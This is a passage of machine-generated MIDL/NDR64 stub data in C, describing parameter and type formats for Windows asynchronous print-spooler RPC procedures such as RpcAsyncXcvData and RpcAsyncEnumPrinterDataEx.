*/\n    }\n};\n\nstatic const __midl_frag451_t __midl_frag451 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag452\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag505\n    }\n};\n\nstatic const __midl_frag450_t __midl_frag450 =\n{ \n/* *char */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag451\n};\n\nstatic const __midl_frag449_t __midl_frag449 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag448_t __midl_frag448 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag447_t __midl_frag447 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag446_t __midl_frag446 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag447\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag448\n    }\n};\n\nstatic const __midl_frag445_t __midl_frag445 =\n{ \n/* *char */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag446\n};\n\nstatic const __midl_frag444_t __midl_frag444 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x64,    /* FC64_CONF_WCHAR_STRING */\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag443_t __midl_frag443 =\n{ \n/* *wchar_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag444\n};\n\nstatic const __midl_frag442_t __midl_frag442 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag441_t __midl_frag441 =\n{ \n/* RpcAsyncXcvData */\n    { \n    /* RpcAsyncXcvData */      /* procedure RpcAsyncXcvData */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 72 /* 0x48 */ ,  /* Stack size */\n        (NDR64_UINT32) 84 /* 0x54 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 9 /* 0x9 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hXcv */      /* parameter hXcv */\n        &__midl_frag442,\n        { \n        /* hXcv */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pszDataName */      /* parameter pszDataName */\n        &__midl_frag444,\n        { \n        /* pszDataName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pInputData */      /* parameter pInputData */\n        &__midl_frag446,\n        { \n        /* pInputData */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* cbInputData */      /* parameter cbInputData */\n        &__midl_frag449,\n        { \n        /* cbInputData */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pOutputData */      /* parameter pOutputData */\n        &__midl_frag451,\n        { \n        /* pOutputData */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* cbOutputData */      /* parameter cbOutputData */\n        &__midl_frag948,\n        { \n        /* cbOutputData */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcbOutputNeeded */      /* parameter pcbOutputNeeded */\n        &__midl_frag948,\n        { \n        /* pcbOutputNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* pdwStatus */      /* parameter pdwStatus */\n        &__midl_frag948,\n        { \n        /* pdwStatus */\n            0,\n            0,\n            0,\n            1,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], [out], Basetype, SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag436_t __midl_frag436 =\n{ \n/* RpcAsyncDeletePrinterKey */\n    { \n    /* RpcAsyncDeletePrinterKey */      /* procedure RpcAsyncDeletePrinterKey */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag442,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pKeyName */      /* parameter pKeyName */\n        &__midl_frag444,\n        { \n        /* pKeyName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag449,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag429_t __midl_frag429 =\n{ \n/* RpcAsyncDeletePrinterDataEx */\n    { \n    /* RpcAsyncDeletePrinterDataEx */      /* procedure RpcAsyncDeletePrinterDataEx */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag442,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pKeyName */      /* parameter pKeyName */\n        &__midl_frag444,\n        { \n        /* pKeyName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pValueName */      /* parameter pValueName */\n        &__midl_frag444,\n        { \n        /* pValueName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag449,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag421_t __midl_frag421 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag449\n};\n\nstatic const __midl_frag419_t __midl_frag419 =\n0x11    /* FC64_WCHAR */;\n\nstatic const __midl_frag418_t __midl_frag418 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_OPERATOR */\n        0x4,    /* FC_EXPR_OPER */\n        0x11,    /* OP_SLASH */\n        0x0,    /* FC64_ZERO */\n        (NDR64_UINT8) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */  /* Offset */\n    },\n    { \n    /* struct _NDR64_EXPR_CONST64 */\n        0x2,    /* FC_EXPR_CONST64 */\n        0x7,    /* FC64_INT64 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT64) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag417_t __midl_frag417 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag418\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag419\n    }\n};\n\nstatic const __midl_frag416_t __midl_frag416 =\n{ \n/* *wchar_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag417\n};\n\nstatic const __midl_frag412_t __midl_frag412 =\n{ \n/* RpcAsyncEnumPrinterKey */\n    { \n    /* RpcAsyncEnumPrinterKey */      /* procedure RpcAsyncEnumPrinterKey */\n        (NDR64_UINT32) 21889088 /* 0x14e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag442,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pKeyName */      /* parameter pKeyName */\n        &__midl_frag444,\n        { \n        /* pKeyName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pSubkey */      /* parameter pSubkey */\n        &__midl_frag417,\n        { \n        /* pSubkey */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* cbSubkey */      /* parameter cbSubkey */\n        &__midl_frag449,\n        { \n        /* cbSubkey */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pcbSubkey */      /* parameter pcbSubkey */\n        &__midl_frag449,\n        { \n        /* pcbSubkey */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag449,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag398_t __midl_frag398 =\n{ \n/* RpcAsyncEnumPrinterDataEx */\n    { \n    /* RpcAsyncEnumPrinterDataEx */      /* procedure RpcAsyncEnumPrinterDataEx */\n        (NDR64_UINT32) 21889088 /* 0x14e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag442,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pKeyName */      /* parameter pKeyName */\n        &__midl_frag444,\n        { \n        /* pKeyName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pEnumValues */      /* parameter pEnumValues */\n        &__midl_frag446,\n        { \n        /* pEnumValues */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* cbEnumValues */      /* parameter cbEnumValues */\n        &__midl_frag449,\n        { \n        /* cbEnumValues */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pcbEnumValues */      /* parameter pcbEnumValues */\n        &__midl_frag449,\n        { \n        /* pcbEnumValues */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pnEnumValues */      /* parameter pnEnumValues */\n        &__midl_frag449,\n        { \n        /* pnEnumValues */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag449,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag392_t __midl_frag392 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 56 /* 0x38 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag391_t __midl_frag391 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag392\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag448\n    }\n};\n\nstatic const __midl_frag390_t __midl_frag390 =\n{ \n/* *char */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag391\n};\n\nstatic const __midl_frag389_t __midl_frag389 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag388_t __midl_frag388 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag389\n};\n\nstatic const __midl_frag384_t __midl_frag384 =\n0x11    /* FC64_WCHAR */;\n\nstatic const __midl_frag383_t __midl_frag383 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_OPERATOR */\n        0x4,    /* FC_EXPR_OPER */\n        0x11,    /* OP_SLASH */\n        0x0,    /* FC64_ZERO */\n        (NDR64_UINT8) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */  /* Offset */\n    },\n    { \n    /* struct _NDR64_EXPR_CONST64 */\n        0x2,    /* FC_EXPR_CONST64 */\n        0x7,    /* FC64_INT64 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT64) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag382_t __midl_frag382 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag383\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag384\n    }\n};\n\nstatic const __midl_frag381_t __midl_frag381 =\n{ \n/* *wchar_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag382\n};\n\nstatic const __midl_frag380_t __midl_frag380 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag379_t __midl_frag379 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag378_t __midl_frag378 =\n{ \n/* RpcAsyncEnumPrinterData */\n    { \n    /* RpcAsyncEnumPrinterData */      /* procedure RpcAsyncEnumPrinterData */\n        (NDR64_UINT32) 21626944 /* 0x14a0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 80 /* 0x50 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 104 /* 0x68 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 10 /* 0xa */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag379,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n 